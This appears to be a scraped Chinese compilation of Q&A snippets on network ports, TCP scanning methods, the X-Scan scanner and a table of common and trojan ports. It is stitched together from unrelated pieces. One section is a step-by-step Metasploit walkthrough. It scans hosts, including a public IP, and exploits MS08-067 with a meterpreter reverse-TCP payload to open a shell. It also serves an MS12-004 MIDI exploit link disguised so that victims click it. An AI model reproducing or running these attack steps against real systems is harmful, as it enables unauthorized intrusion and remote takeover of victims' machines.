端口扫描可探测_端口扫描与防范实验报告

hacker|
303

什么叫端口啊?干什么用的?

是设备与外界通讯交流的出口,根据不同应用场合有不同的作用:

1、硬件端口

CPU通过接口寄存器或特定电路与外设进行数据传送,这些寄存器或特定电路称之为端口。

其中硬件领域的端口又称接口,如:并行端口、串行端口等。

2、网络端口

在网络技术中,端口(Port)有好几种意思。集线器、交换机、路由器的端口指的是连接其他网络设备的接口,如RJ-45端口、Serial端口等。这里所指的端口不是指物理意义上的端口,而是特指TCP/IP协议中的端口,是逻辑意义上的端口。

3、软件端口

即缓冲区。

/iknow-pic.cdn.bcebos.com/e824b899a9014c084847f4a4057b02087bf4f4b7"target="_blank"title="点击查看大图"class="f4a1-c291-5d45-1ba9 ikqb_img_alink"/iknow-pic.cdn.bcebos.com/e824b899a9014c084847f4a4057b02087bf4f4b7?x-bce-process=image%2Fresize%2Cm_lfit%2Cw_600%2Ch_800%2Climit_1%2Fquality%2Cq_85%2Fformat%2Cf_auto"esrc=""/

扩展资料

按照端口号的大小分类,可分为如下几类:

1、公认端口(WellKnownPorts)

从0到1023,它们紧密绑定(binding)于一些服务。通常这些端口的通讯明确表明了某种服务的协议。例如:80端口实际上总是HTTP通讯。

2、注册端口(RegisteredPorts)

从1024到49151。它们松散地绑定于一些服务。也就是说有许多服务绑定于这些端口,这些端口同样用于许多其它目的。例如:许多系统处理动态端口从1024左右开始。

3、动态和/或私有端口(Dynamicand/orPrivatePorts)

从49152到65535。理论上,不应为服务分配这些端口。实际上,机器通常从1024起分配动态端口。但也有例外:SUN的RPC端口从32768开始。

参考资料来源:/baike.baidu.com/item/%E7%AB%AF%E5%8F%A3/103505"target="_blank"title="百度百科—端口"百度百科—端口

7、全连接扫描和半开连接扫描的区别是什么?其优缺点分别是什么?还有什么其它的扫描技术?

全连接扫描是TCP端口扫描的基础,现有的全连接扫描有TCP connect()扫描和TCP反向ident扫描等。其中TCP connect()扫描的实现原理如下所述:

扫描主机通过TCP/IP协议的三次握手与目标主机的指定端口建立一次完整的连接。连接由系统调用connect开始。如果端口开放,则连接将建立成功;否则,若返回-1则表示端口关闭。建立连接成功:响应扫描主机的SYN/ACK连接请求,这一响应表明目标端口处于监听(打开)的状态。如果目标端口处于关闭状态,则目标主机会向扫描主机发送RST的响应。

若端口扫描没有完成一个完整的TCP连接,在扫描主机和目标主机的一指定端口建立连接时候只完成了前两次握手,在第三步时,扫描主机中断了本次连接,使连接没有完全建立起来,这样的端口扫描称为半连接扫描,也称为间接扫描。现有的半连接扫描有TCPSYN扫描和IP ID头dumb扫描等。

SYN扫描的优点在于即使日志中对扫描有所记录,但是尝试进行连接的记录也要比全扫描少得多。缺点是在大部分操作系统下,发送主机需要构造适用于这种扫描的IP包,通常情况下,构造SYN数据包需要超级用户或者授权用户访问专门的系统调用。

如何用Metasploit扫描端口

一、调用Nmap进行扫描

进入msf命令行后直接输入nmap –v –sVip(具体命令和nmap一样)

二、MSF模块扫描

Use auxiliary/scanner/postscan/syn

先用搜索命令搜索有关端口扫描的工具:searchportscan

我们使用Use auxiliary/scanner/postscan/syn

看一下参数配置 showoptions

我们先来设置一下网卡

Set INTERFACE eth0

设置一下扫描的端口,我们这里来扫描80:set PORTS 80

设置扫描目标RHOSTS :set RHOSTS 119.63.37.149

在设置一下线程:set THREADS 100

看一下我们设置好的

这时候我们都设置好了,我们来攻击下,看看效果,用命令run进行攻击

缺点就是扫描的速度有点慢啊

MetaSploit SMB扫描获取系统信息

还是搜索一下smb:searchsmb

这次发现搜出来很多,我们用这个模块

Use auxiliary/scanner/smb/smb_version

看一下需要设置的参数

设定目标ip:set RHOSTS 192.168.188.140

在设置一下线程:set THREAD 10

然后run一下,查看结果

直接扫描出来小伙伴的系统还有主机名,速度不到1s,很快

也可以批量扫描设置批量扫描目标即可 set RHOSTS 192.168.188.50-200

MetaSploit服务识别

我们这里对SSH和FTP进行识别

在这里使用这个模块:use auxiliary/scanner/ssh/ssh_version

然后我们设置一下参数,这里讲设置好的参数截图看一下

Run一下看看结果,其实没有扫出来,好像是屏蔽了,但是用nmap却扫出来了ssh

在试一下ftp,用这个模块:use auxiliary/scanner/ftp/ftp_version

设置下参数

可以看到结果,也没有扫描出来;

MetaSploit SNMP扫描与枚举

搜索一下snmpuse auxiliary/scanner/snmp/snmp_login

看一下他的参数设置

这个参数还是很多的

设定一下目标

然后在run一下

枚举用这个模块

use auxiliary/scanner/snmp/snmp_enum

设置好目标和线程后run一下就可以

MetaSploit远程代码执行

搜索一下08-067,使用这个攻击载荷

use exploit/windows/smb/ms08_067_netapi

同样来看一下参数设置

我们只要设置一下目标就可以,然后我们需要一个载荷来反弹shell

set payload windows/meterpreter/reverse_tcp

然后设置参数

将LHOST 设置为自己的ip(对外攻击不要忘了段口转发)

比如说知道对面的系统是什么版本,可以指定targer,用target查看一下都有什么版本

设置一下目标,假设我们目标机器的系统为10:set target 10

这时候,我们再来看一下其参数设置,发现比以前完备了好多

08-067是不会自动识别系统版本的,但是其他的可以自动识别,所以用其他攻击载荷的时候可以不用设置

然后输入exploit进行攻击即可

这时候会出来一个meterpreter

我们在里面输入shell,就会反弹一个shell

这样整个攻击过程就完成了

MetaSploit MIDI文件解析远程代码执行

还是来搜索12-004

设置下本机ip set SRVHOST ip

然后攻击

会生成一个连接,但是这个链接容易让人发现,所以我们可以伪装下ip利用URIPATH参数就可以伪装

在设置时,会发现报红,因为4444端口被占用了,所以我们改下监听端口 set LPORT 5555

然后生成连接

只要目标点了这个链接,那么我们就会上线一个shell

说一下,目标点击后我们这边并没有反映,我们需要输下session查看当前会话,会找到上线的机子,连接上线的机子

Session –I 1(id)

然后输入shell就可以拿到shell

分析X-Scan,写出它的使用方法以及配置方法,同时抓包分析其扫描原理。如果有兴趣分析一下其脚本

一. 系统要求:Windows NT/2000/XP/2003

理论上可运行于Windows NT系列操作系统,推荐运行于Windows 2000以上的Server版Windows系统。

二. 功能简介:

采用多线程方式对指定IP地址段(或单机)进行安全漏洞检测,支持插件功能。扫描内容包括:远程服务类型、操作系统类型及版本,各种弱口令漏洞、后门、应用服务漏洞、网络设备漏洞、拒绝服务漏洞等二十几个大类。对于多数已知漏洞,我们给出了相应的漏洞描述、解决方案及详细描述链接,其它漏洞资料正在进一步整理完善中,您也可以通过本站的“安全文摘”和“安全漏洞”栏目查阅相关说明。

3.0及后续版本提供了简单的插件开发包,便于有编程基础的朋友自己编写或将其他调试通过的代码修改为X-Scan插件。另外Nessus攻击脚本的翻译工作已经开始,欢迎所有对网络安全感兴趣的朋友参与。需要“Nessus攻击脚本引擎”源代码、X-Scan插件SDK、示例插件源代码或愿意参与脚本翻译工作的朋友,可通过本站“X-Scan”项目链接获取详细资料:“”。

三. 所需文件:

xscan_gui.exe -- X-Scan图形界面主程序

checkhost.dat -- 插件调度主程序

update.exe -- 在线升级主程序

*.dll -- 主程序所需动态链接库

使用说明.txt -- X-Scan使用说明

/dat/language.ini -- 多语言配置文件,可通过设置“LANGUAGE\SELECTED”项进行语言切换

/dat/language.* -- 多语言数据文件

/dat/config.ini -- 当前配置文件,用于保存当前使用的所有设置

/dat/*.cfg -- 用户自定义配置文件

/dat/*.dic -- 用户名/密码字典文件,用于检测弱口令用户

/plugins -- 用于存放所有插件(后缀名为.xpn)

/scripts -- 用于存放所有NASL脚本(后缀名为.nasl)

/scripts/desc -- 用于存放所有NASL脚本多语言描述(后缀名为.desc)

/scripts/cache -- 用于缓存所有NASL脚本信息,以便加快扫描速度(该目录可删除)

四. 准备工作:

X-Scan是完全免费软件,无需注册,无需安装(解压缩即可运行,自动检查并安装WinPCap驱动程序)。若已经安装的WinPCap驱动程序版本不正确,请通过主窗口菜单的“工具”-“Install WinPCap”重新安装“WinPCap 3.1 beta4”或另行安装更高版本。

五. 图形界面设置项说明:

“检测范围”模块:

“指定IP范围” - 可以输入独立IP地址或域名,也可输入以“-”和“,”分隔的IP范围,如“192.168.0.1-20,192.168.1.10-192.168.1.254”,或类似“192.168.100.1/24”的掩码格式。

“从文件中获取主机列表” - 选中该复选框将从文件中读取待检测主机地址,文件格式应为纯文本,每一行可包含独立IP或域名,也可包含以“-”和“,”分隔的IP范围。

“全局设置”模块:

“扫描模块”项 - 选择本次扫描需要加载的插件。

“并发扫描”项 - 设置并发扫描的主机和并发线程数,也可以单独为每个主机的各个插件设置最大线程数。

“网络设置”项 - 设置适合的网络适配器,若找不到网络适配器,请重新安装WinPCap 3.1 beta4以上版本驱动。

“扫描报告”项 - 扫描结束后生成的报告文件名,保存在LOG目录下。扫描报告目前支持TXT、HTML和XML三种格式。

“其他设置”项:

“跳过没有响应的主机” - 若目标主机不响应ICMP ECHO及TCP SYN报文,X-Scan将跳过对该主机的检测。

“无条件扫描” - 如标题所述

“跳过没有检测到开放端口的主机” - 若在用户指定的TCP端口范围内没有发现开放端口,将跳过对该主机的后续检测。

“使用NMAP判断远程操作系统” - X-Scan使用SNMP、NETBIOS和NMAP综合判断远程操作系统类型,若NMAP频繁出错,可关闭该选项。

“显示详细信息” - 主要用于调试,平时不推荐使用该选项。

“插件设置”模块:

该模块包含针对各个插件的单独设置,如“端口扫描”插件的端口范围设置、各弱口令插件的用户名/密码字典设置等。

六. 常见问题解答:

Q:如果没有安装WinPCap驱动程序是否能正常使用X-Scan进行扫描?

A:如果系统未安装WinPCap驱动,X-Scan启动后会自动安装WinPCap 3.1;如果系统已经安装了WinPCap更高版本,X-Scan则使用已有版本。

Q:扫描一个子网,进程里同时出现10个checkhost.exe的进程是什么原因?

A:检测每个主机都会单独起一个Checkhost.exe进程,检测完毕会自动退出。并发主机数量可以通过图形界面的设置窗口设定,命令行程序通过“-t”参数设定。

Q:扫描过程中机器突然蓝屏重启是什么原因?

A:扫描过程中系统蓝屏是有可能的,AtGuard、天网等防火墙的驱动程序在处理特殊包的时候有可能出错导致系统崩溃,另外很多防火墙驱动与WinPCap驱动本身也存在冲突,建议先禁止或卸载防火墙程序再试试。

Q:操作系统识别不正确是什么原因?

A:操作系统识别方面确实不能保证100%的准确率,目前是综合NMAP、P0F的指纹库、NETBIOS信息和SNMP信息进行识别,如果目标机器没有开放NETBIOS和SNMP协议,TCP/IP堆栈指纹也不在数据库中,就需要使用者根据其他信息综合分析了。

Q:为什么在一次扫描中我选择了“SYN”方式进行端口扫描,但X-Scan实际采用的是“TCP”方式,而且也没有被动识别出目标操作系统?

A:端口扫描中的“SYN”方式在NT4或XP+SP2系统下无法使用,在windows 2000等系统下使用时必须拥有管理员权限,否则将自动改用“TCP”方式进行端口扫描。

Q:新版本是否兼容2.3版本的插件?

A:X-Scan 3.0以上版本的插件接口做了少量修改,不兼容2.3以前版本的插件,需要原作者做相应修改。3.0以上版本提供了简单的开发库,插件开发方面要比2.3版本轻松许多。

Q:我看到Scripts目录下有很多nessus的脚本,是否可以自己从nessus的网站上下载最新的plugin,然后解压到scripts目录中,实现扫描最新漏洞?

A:X-Scan移植了nessus的nasl引擎,目前对应于nessus2.2.4,但不包含对本地检测脚本的支持。所以只要是这个版本nessus支持的非本地检测脚本,都可以复制到Scripts目录下加载。

Q:X-Scan中各项弱口令插件检测范围都很有限,能否自己加入其他需要检测的帐号或口令?

A:在“X-Scan”中内置的密码字典仅为简单示范,使用者如果希望软件有更强的密码猜解能力,可以自己编辑密码字典文件。

Q:为什么nasl脚本扫描结果中存在大量英文,将来有没有可能会对这些英文信息进行汉化?

A:目前已有将近2000个NASL脚本,里面的描述信息大都是英文,需要翻译的内容可以在本站“焦点项目”中的X-Scan下看到。欢迎大家一起帮忙翻译,通过审核后会直接加入在线升级库供大家下载。

Q:用xscan.exe在命令行方式下进行扫描时,如何暂停或终止扫描?

A:命令行方式检测过程中,按“[空格]”键可查看各线程状态及扫描进度,按“[回车]”可暂停或继续扫描,按“q”键可保存当前数据后提前退出程序,按“ctrl+c”强行关闭程序。

Q:X-Scan如何安装,是否需要注册?

A:X-Scan是完全免费软件,无需注册,无需安装(解压缩即可运行,自动安装WinPCap驱动)。

七. 版本发布:

X-Scan v3.3 -- 发布日期:07/18/2005,优化主程序及NASL库;修正已知BUG;更新攻击测试脚本及中文描述。

感谢wlj、killer、coolc协助测试,感谢通过各种方式提供反馈信息及建议的朋友。

X-Scan v3.2 -- 发布日期:04/08/2005,升级NASL库,优化主程序及NASL库;增加HTTP/TELNET/SSH/VNC/CVS/IMAP等弱口令检测插件;修正已知BUG。

感谢wlj提供大量改进建议及相关资料,感谢安全焦点全体成员和coolc、killer等朋友协助测试。

X-Scan v3.1 -- 发布日期:03/25/2004,修改“存活主机”插件,加入2.3版本中SNMP、NETBIOS插件,优化主程序及NASL库。

X-Scan v3.02 -- 发布日期:03/08/2004,“WinPCap 3.1 beta”中存在BUG,可能导致CheckHost.exe异常。X-Scan中改用“WinPCap 2.3”,建议卸载“WinPCap 3.1 beta”后再使用X-Scan进行扫描。

X-Scan v3.0 -- 发布日期:03/01/2004,修正beta版本中已知BUG,对主程序及所有插件进行优化,升级NASL库,支持2.0.10a版本以前的所有NASL脚本;提供简单的开发包方便其他朋友共同开发插件;其他插件正在开发中。

感谢悟休、quack帮忙精选nasl脚本列表,感谢san为支持X-Scan项目编写相关页面程序。再次感谢安全焦点论坛上所有提供优秀思路和协助测试的朋友们。

X-Scan v3.0(beta) -- 发布日期:12/30/2003,对主程序结构进行调整,加入移植的NASL插件,支持2.0.9版本以前的所有NASL脚本;对插件接口做少量修改,方便由其他朋友共同开发插件;对远程操作系统识别功能进行了加强,并去掉了一些可由脚本完成的插件。

感谢isno和Enfis提供优秀插件,感谢悟休、quack帮忙精选nasl脚本列表,也感谢其他提供优秀思路和协助测试的朋友。

X-Scan v2.3 -- 发布日期:09/29/2002,新增SSL插件,用于检测SSL漏洞;升级PORT、HTTP、IIS插件;升级图形界面并对界面风格作细微调整。

感谢ilsy提供优秀插件。

X-Scan v2.2 -- 发布日期:09/12/2002,修正PORT插件中线程同步BUG;修正RPC插件字符显示BUG;扩充RPC漏洞数据库;调整扫描结果索引文件风格。

感谢xundi、quack、stardust搜集并整理漏洞数据库。

X-Scan v2.1 -- 发布日期:09/08/2002,将SNMP插件扫描项目改为可选;将HTTP、IIS、RPC插件中的“漏洞描述”链接到xundi整理的漏洞数据库;修正2.0以前版本中已知BUG。

X-Scan v2.0 -- 发布日期:08/07/2002,新增路由信息检测、SNMP信息检测插件;升级NETBIOS插件,新增远程注册表信息检测;升级IIS插件,新增对IIS.ASP漏洞的检测;对插件接口做细微修改;更新图形界面,新增“在线升级”功能;扩充CGI漏洞数据库;修正1.3以前版本中已知BUG。

感谢quack、stardust、sinister、ilsy、santa、bingle、casper提供宝贵资料或优秀插件,感谢san、xundi、e4gle协助测试,也感谢所有来信反馈和提出建议的热心朋友。

X-Scan v1.3 -- 发布日期:12/11/2001,修正PORT插件中关于远程操作系统识别的BUG。

X-Scan v1.2 -- 发布日期:12/02/2001,升级HTTP、IIS插件,新增对HTTP重定向错误页面识别功能;升级PORT插件,在无法创建Raw Socket时改为使用标准TCP连接方式检测开放端口。

X-Scan v1.1 -- 发布日期:11/25/2001,将所有检测功能移入插件,使主程序完全成为“容器”;提供多语言支持;更新图形接口程序;修改多线程模式,所有插件共享最大线程数量,提高并发检测速度;新增SMTP、POP3弱口令用户检测;新增IIS UTF-Code漏洞检测;扩充CGI漏洞列表。

感谢xundi、quack、casper、wollf、黄承等朋友提供的宝贵资料,感谢echo、力立等朋友协助测试,再次向付出了重体力劳动的xundi和quack致谢,涕零.....

X-Scan v1.0(beta) -- 发布日期:07/12/2001,新增对远程操作系统类型及版本识别功能;新增对远程主机地理位置查询功能;在“-iis”选项中,新增对IIS “.ida/.idq”漏洞的扫描,同时更新漏洞描述;在“-port”参数中,允许指定扫描的端口范围(通过修改“dat\config.ini”文件中的“[PORT-LIST]\port=”);在“-ntpass”参数中,允许用户在编辑密码字典时通过“%”通配所有用户名;更新CGI漏洞列表,并对CGI漏洞进行分类,以便根据远程主机系统类型扫描特定CGI漏洞,加快扫描速度。

感谢“天眼”软件作者--watercloud提供“被动识别远程操作系统”模块;感谢“追捕”软件作者--冯志宏提供“IP-地理位置”数据库;感谢quack提供漏洞资料、程序资料、无数有价值的建议还有感情和......

X-Scanner v0.61 -- 发布日期:05/17/2001,在“-iis”选项中新增对IIS CGI文件名二次解码漏洞的检测。

X-Scanner v0.6 -- 发布日期:05/15/2001,新增“-iis”参数,专门用于扫描IIS服务器的“unicode”及“remote .printer overflow”漏洞;更新漏洞描述;调整CGI扫描的超时时间,尽量避免因超时导致的“扫描未完成”情况出现;为避免“RedV”插件被恶意利用,将自动更换主页功能改为自动向“C:\”目录上传包含警告信息的文本文件。

X-Scanner v0.5 -- 发布日期:04/30/2001,修改了命令行参数,使参数含义更加直观;扩充CGI漏洞数据库;对NT弱口令扫描功能进行扩充--允许用户使用用户名及密码字典;增加插件功能,并公布插件接口。

感谢“santa”和“老鬼(colossus)”提供插件。

X-Scanner v0.42b -- 发布日期:03/07/2001,修正了“-b”选项在特定情况导致系统overflow的BUG。

X-Scanner v0.42 -- 发布日期:03/02/2001,允许用户对SQL-SERVER帐户进行扩充,而不局限于扫描“sa”空口令。

X-Scanner v0.41 -- 发布日期:02/19/2001,修正了以前版本中对FTP弱口令检测的BUG;重新优化代码,将xscan.exe与xscan98合二为一。

X-Scanner v0.4 -- 发布日期:02/15/2001,加入对SQL-SERVER默认“sa”帐户的扫描;在充分认识了某些人的惰性之后,临时制作了傻瓜式图形界面(一切操作按序号点击即可)。

X-Scanner v0.31 -- 发布日期:01/17/2001,对端口扫描方式和输出文件的格式做了细微调整;对Unicode解码漏洞进行了扩充;提供了for win98的版本和一个简单的CGI列表维护工具。

X-Scanner v0.3 -- 发布日期:12/27/2000,加入线程超时限制;增加代理功能;扩充CGI漏洞数据库,加入对Unicode解码等漏洞的检测及描述;修正内存泄露问题。内部测试版。

X-Scanner v0.2 -- 发布日期:12/12/2000,内部测试

什么是端口,它的功能及作用是什么

"端口"在计算机网络领域中是个非常重要的概念.它是专门为计算机信息而设计的,它不是硬件,也不同于计算机中的 "插槽".可以说是个 "软端口"如果有需要的话,一台计算机可以有上万个端口.

端口是由计算机的通信协议TCP/IP协议定义的.其中规定,用IP地址和端口做为套接字,它代表TCP连接的一个连接端.一般称为"Socket".具体来说.就是用[IP:端口]来定位一台主机中的进程,可以做这样的比喻,端口相当于两台计算机进程间的大门,可以随便定义,其目的只是为了让两台计算机能够找到对方的进程.计算机就像一座大楼,这个大楼有好多入口端口,进到不同的入口中就可以找到不动的公司进程如果要和远程主机A的程序通信,那么只要把数据发向[A:端口]就可以实现通信了..

可见,端口与进程是一一对应的,如果某个进程正在等待连接,称之为该进程能够正在监听,那么就会出现与它对应的端口.由此可见,入侵者通过扫描端口,便可以判断出目标计算机有哪些通信进程正在等待连接...

什么是端口?

我们这里所说的端口,不是计算机硬件的I/O端口,而是软件形式上的概念。服务器可以向外提供多种服务,比如,一台服务器可以同时是WEB服务器,也可以是FTP服务器,同时,它也可以是邮件服务器。为什么一台服务器可以同时提供那么多的服务呢?其中一个很主要的方面,就是各种服务采用不同的端口分别提供不同的服务,比如:WEB采用80端口,FTP采用21端口等。这样,通过不同端口,计算机与外界进行互不干扰的通信。

工具提供服务类型的不同,端口分为两种,一种是TCP端口,一种是UDP端口。计算机之间相互通信的时候,分为两种方式:一种是发送信息以后,可以确认信息是否到达,也就是有应答的方式,这种方式大多采用TCP协议;一种是发送以后就不管了,不去确认信息是否到达,这种方式大多采用UDP协议。对应这两种协议的服务提供的端口,也就分为TCP端口和UDP端口。

简述端口的作用。

端口

计算机"端口"是英文port的义译,可以认为是计算机与外界通讯交流的出口。其中硬件领域的端口又称接口,如:USB端口、串行端口等。软件领域的端口一般指网络中面向连接服务和无连接服务的通信协议端口,是一种抽象的软件结构,包括一些数据结构和I/O(基本输入输出)缓冲区。

可以先了解面向连接和无连接协议(Connection-OrientedandConnectionlessProtocols)面向连接服务的主要特点有:面向连接服务要经过三个阶段:数据传数前,先建立连接,连接建立后再传输数据,数据传送完后,释放连接。面向连接服务,可确保数据传送的次序和传输的可靠性。无连接服务的特点是:无连接服务只有传输数据阶段。消除了除数据通信外的其它开销。只要发送实体是活跃的,无须接收实体也是活跃的。它的优点是灵活方便、迅速,特别适合于传送少量零星的报文,但无连接服务不能防止报文的丢失、重复或失序。

区分"面向连接服务"和"无连接服务"的概念,特别简单、形象的例子是:打电话和写信。两个人如果要通电话,必须先建立连接--拨号,等待应答后才能相互传递信息,最后还要释放连接--挂电话。写信就没有那么复杂了,地址姓名填好以后直接往邮筒一扔,收信人就能收到。TCP/IP协议在网络层是无连接的(数据包只管往网上发,如何传输和到达以及是否到达由网络设备来管理)。而"端口",是传输层的内容,是面向连接的。协议里面低于1024的端口都有确切的定义,它们对应着因特网上常见的一些服务。

这些常见的服务可以划分为使用TCP端口(面向连接如打电话)和使用UDP端口(无连接如写信)两种。

网络中可以被命名和寻址的通信端口是操作系统的一种可分配资源。由网络OSI(开放系统互联参考模型,OpenSystemInterconnectionReferenceModel)七层协议可知,传输层与网络层最大的区别是传输层提供进程通信能力,网络通信的最终地址不仅包括主机地址,还包括可描述进程的某种标识。所以TCP/IP协议提出的协议端口,可以认为是网络通信进程的一种标识符。

应用程序(调入内存运行后一般称为:进程)通过系统调用与某端口建立连接(binding,绑定)后,传输层传给该端口的数据都被相应的进程所接收,相应进程发给传输层的数据都从该端口输出。在TCP/IP协议的实现中,端口操作类似于一般的I/O操作,进程获取一个端口,相当于获取本地唯一的I/O文件,可以用一般的读写方式访问类似于文件描述符,每个端口都拥有一个叫端口号的整数描述符,用来区别不同的端口。由于TCP/IP传输层的TCP和UDP两个协议是两个完全独立的软件模块,因此各自的端口号也相互独立。如TCP有一个255号端口,UDP也可以有一个255号端口,两者并不冲突。端口号有两种基本分配方式:第一种叫全局分配这是一种集中分配方式,由一个公认权威的中央机构根据用户需要进行统一分配,并将结果公布于众,第二种是本地分配,又称动态连接,即进程需要访问传输层服务时,向本地操作系统提出申请,操作系统返回本地唯一的端口号,进程再通过合适的系统调用,将自己和该端口连接起来(binding,绑定)。TCP/IP端口号的分配综合了以上两种方式,将端口号分为两部分,少量的作为保留端口,以全局方式分配给服务进程。每一个标准服务器都拥有一个全局公认的端口叫周知口,即使在不同的机器上,其端口号也相同。剩余的为自由端口,以本地方式进行分配。TCP和UDP规定,小于256的端口才能作为保留端口。

按端口号可分为3大类:

(1)公认端口(WellKnownPorts):从0到1023,它们紧密绑定(binding)于一些服务。通常这些端口的通讯明确表明了某种服务的协议。例如:80端口实际上总是HTTP通讯。

(2)注册端口(RegisteredPorts):从1024到49151。它们松散地绑定于一些服务。也就是说有许多服务绑定于这些端口,这些端口同样用于许多其它目的。例如:许多系统处理动态端口从1024左右开始。

(3)动态和/或私有端口(Dynamicand/orPrivatePorts):从49152到65535。理论上,不应为服务分配这些端口。实际上,机器通常从1024起分配动态端口。但也有例外:SUN的RPC端口从32768开始。

系统管理员可以"重定向"端口:一种常见的技术是把一个端口重定向到另一个地址。例如默认的HTTP端口是80,不少人将它重定向到另一个端口,如8080。如果是这样改了,要访问本文就应改用这个地址(当然,这仅仅是理论上的举例)。实现重定向是为了隐藏公认的默认端口,降低受破坏率。这样如果有人要对一个公认的默认端口进行攻击则必须先进行端口扫描。大多数端口重定向与原端口有相似之处,例如多数HTTP端口由80变化而来:81,88,8000,8080,8888。同样POP的端口原来在110,也常被重定向到1100。也有不少情况是选取统计上有特别意义的数,象1234,23456,34567等。许多人有其它原因选择奇怪的数,42,69,666,31337。近来,越来越多的远程控制木马(RemoteAccessTrojans,RATs)采用相同的默认端口。如NetBus的默认端口是12345。BlakeR.Swopes指出使用重定向端口还有一个原因,在UNIX系统上,如果你想侦听1024以下的端口需要有root权限。如果你没有root权限而又想开web服务,你就需要将其安装在较高的端口。此外,一些ISP的防火墙将阻挡低端口的通讯,这样的话即使你拥有整个机器你还是得重定向端口。

计算机常用端口一览表:

1 传输控制协议端口服务多路开关选择器

2 compressnet 管理实用程序

3 压缩进程

5 远程作业登录

7 回显(Echo)

9 丢弃

11 在线用户

13 时间

15 netstat

17 每日引用

18 消息发送协议

19 字符发生器

20 文件传输协议(默认数据口)

21 文件传输协议(控制)

22 SSH远程登录协议

23 telnet 终端仿真协议

24 预留给个人用邮件系统

25 smtp 简单邮件发送协议

27 NSW 用户系统现场工程师

29 MSG ICP

31 MSG验证

33 显示支持协议

35 预留给个人打印机服务

37 时间

38 路由访问协议

39 资源定位协议

41 图形

42 WINS 主机名服务

43 "绰号" who is服务

44 MPM(消息处理模块)标志协议

45 消息处理模块

46 消息处理模块(默认发送口)

47 NI FTP

48 数码音频后台服务

49 TACACS登录主机协议

50 远程邮件检查协议

51 IMP(接口信息处理机)逻辑地址维护

52 施乐网络服务系统时间协议

53 域名服务器

54 施乐网络服务系统票据交换

55 ISI图形语言

56 施乐网络服务系统验证

57 预留个人用终端访问

58 施乐网络服务系统邮件

59 预留个人文件服务

60 未定义

61 NI邮件?

62 异步通讯适配器服务

63 WHOIS+

64 通讯接口

65 TACACS数据库服务

66 Oracle SQL*NET

67 引导程序协议服务端

68 引导程序协议客户端

69 小型文件传输协议

70 信息检索协议

71 远程作业服务

72 远程作业服务

73 远程作业服务

74 远程作业服务

75 预留给个人拨出服务

76 分布式外部对象存储

77 预留给个人远程作业输入服务

78 修正TCP

79 Finger(查询远程主机在线用户等信息)

80 全球信息网超文本传输协议(www)

81 HOST2名称服务

82 传输实用程序

83 模块化智能终端ML设备

84 公用追踪设备

85 模块化智能终端ML设备

86 Micro Focus Cobol编程语言

87 预留给个人终端连接

88 Kerberros安全认证系统

89 SU/MIT终端仿真网关

90 DNSIX 安全属性标记图

91 MIT Dover假脱机

92 网络打印协议

93 设备控制协议

94 Tivoli对象调度

95 SUPDUP

96 DIXIE协议规范

97 快速远程虚拟文件协议

98 TAC(东京大学自动计算机)新闻协议

101 usually from sri-nic

102 iso-tsap

103 ISO Mail

104 x400-snd

105 csnet-ns

109 Post Office

110 Pop3 服务器(邮箱发送服务器)

111 portmap 或 sunrpc

113 身份查询

115 sftp

117 path 或 uucp-path

119 新闻服务器

121 BO jammerkillah

123 network time protocol (exp)

135 DCE endpoint resolutionnetbios-ns

137 NetBios-NS

138 NetBios-DGN

139 win98 共享资源端口(NetBios-SSN)

143 IMAP电子邮件

144 NeWS - news

153 sgmp - sgmp

158 PCMAIL

161 snmp - snmp

162 snmp-trap -snmp

170 network PostScript

175 vmnet

194 Irc

315 load

400 vmnet0

443 安全服务

456 Hackers Paradise

500 sytek

512 exec

513 login

514 shell - cmd

515 printer - spooler

517 talk

518 ntalk

520 efs

526 tempo - newdate

530 courier - rpc

531 conference - chat

532 netnews - readnews

533 netwall

540 uucp - uucpd 543 klogin

544 kshell

550 new-rwho - new-who

555 Stealth Spy(Phase)

556 remotefs - rfs_server

600 garcon

666 Attack FTP

750 kerberos - kdc

751 kerberos_master

754 krb_prop

888 erlogin

1001 Silencer 或 WebEx

1010 Doly trojan v1.35

1011 Doly Trojan

1024 NetSpy.698 (YAI)

1025 NetSpy.698

1033 Netspy

1042 Bla1.1

1047 GateCrasher

1080 Wingate

1109 kpop

1243 SubSeven

1245 Vodoo

1269 Maverick s Matrix

1433 Microsoft SQL Server 数据库服务

1492 FTP99CMP (BackOriffice.FTP)

1509 Streaming Server

1524 ingreslock

1600 Shiv

1807 SpySender

1981 ShockRave

1999 Backdoor

2000 黑洞(木马) 默认端口

2001 黑洞(木马) 默认端口

2023 Pass Ripper

2053 knetd

2140 DeepThroat.10 或 Invasor

2283 Rat

2565 Striker

2583 Wincrash2

2801 Phineas

3129 MastersParadise.92

3150 Deep Throat 1.0

3210 SchoolBus

3389 Win2000 远程登陆端口

4000 OICQ Client

4567 FileNail

4950 IcqTrojan

5000 WindowsXP 默认启动的 UPNP 服务

5190 ICQ Query

5321 Firehotcker

5400 BackConstruction1.2 或 BladeRunner

5550 Xtcp

5555 rmt - rmtd

5556 mtb - mtbd

5569 RoboHack

5714 Wincrash3

5742 Wincrash

6400 The Thing

6669 Vampire

6670 Deep Throat

6711 SubSeven

6713 SubSeven

6767 NT Remote Control

6771 Deep Throat 3

6776 SubSeven

6883 DeltaSource

6939 Indoctrination

6969 Gatecrasher.a

7306 网络精灵(木马)

7307 ProcSpy

7308 X Spy

7626 冰河(木马) 默认端口

7789 ICQKiller

8000 OICQ Server

9400 InCommand

9401 InCommand

9402 InCommand

9535 man

9536 w

9537 mantst

9872 Portal of Doom

9875 Portal of Doom

9989 InIkiller

10000 bnews

10001 queue

10002 poker

10167 Portal Of Doom

10607 Coma

11000 Senna Spy Trojans

11223 ProgenicTrojan

12076 Gjamer 或 MSH.104b

12223 Hack?9 KeyLogger

12345 netbus木马 默认端口

12346 netbus木马 默认端口

12631 WhackJob.NB1.7

16969 Priotrity

17300 Kuang2

20000 Millenium II (GrilFriend)

20001 Millenium II (GrilFriend)

20034 NetBus Pro

20331 Bla

21554 GirlFriend 或 Schwindler 1.82

22222 Prosiak

23456 Evil FTP 或 UglyFtp 或 WhackJob

27374 SubSeven

29891 The Unexplained

30029 AOLTrojan

30100 NetSphere

30303 Socket23

30999 Kuang

31337 BackOriffice

31339 NetSpy

31666 BO Whackmole

31787 Hack a tack

33333 Prosiak

33911 Trojan Spirit 2001 a

34324 TN 或 Tiny Telnet Server

40412 TheSpy

40421 MastersParadise.96

40423 Master Paradise.97

47878 BirdSpy2

50766 Fore 或 Schwindler

53001 Remote Shutdown

54320 Back Orifice 2000

54321 SchoolBus 1.6

61466 Telecommando

65000 Devil

